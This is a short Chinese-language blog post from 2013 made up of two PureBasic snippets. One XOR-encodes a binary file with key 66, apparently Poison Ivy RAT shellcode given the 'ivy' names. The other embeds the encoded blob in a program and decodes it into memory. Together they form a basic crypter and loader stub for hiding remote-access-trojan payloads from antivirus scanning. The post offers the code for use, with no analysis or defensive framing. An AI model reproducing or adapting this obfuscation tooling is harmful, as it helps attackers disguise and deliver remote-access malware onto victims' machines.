2013年2月21日 星期四

pb ivy_shellcode_xor

#exepath="C:\ivy_xor66.bin"

size.l=?exeend-?exestart
*Buffer = AllocateMemory(size)

For i = 0 To size-1
  d.b=PeekB(?exestart+i)
  d=d ! 66
  PokeB(*Buffer+i,d) 
Next

DataSection
  exestart:
  IncludeBinary #exepath 
  exeend: 
EndDataSection

-----------------------------------------------

#exepath="C:\t.bin"
size.l=?exeend-?exestart
*Buffer = AllocateMemory(size)
For i = 0 To size-1
  d.b=PeekB(?exestart+i)
  d=d ! 66
  PokeB(*Buffer+i,d) 
Next

file.s="ivy_xor.bin"
If CreateFile(0, file)
  WriteData(0,*Buffer,size)
  CloseFile(0)  ;
EndIf

DataSection
  exestart:
  IncludeBinary #exepath 
  exeend: 
EndDataSection


沒有留言:

張貼留言